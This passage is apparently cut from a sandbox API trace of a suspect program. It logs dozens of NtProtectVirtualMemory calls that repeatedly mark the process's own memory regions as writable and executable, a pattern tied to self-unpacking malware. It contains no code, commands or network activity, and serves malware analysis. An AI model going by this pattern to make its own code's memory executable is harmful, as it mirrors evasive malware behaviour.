OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0364.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.172] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.261] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.866] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.907] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.976] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0365.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.192] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.344] NtProtectVirtualMemory (in: 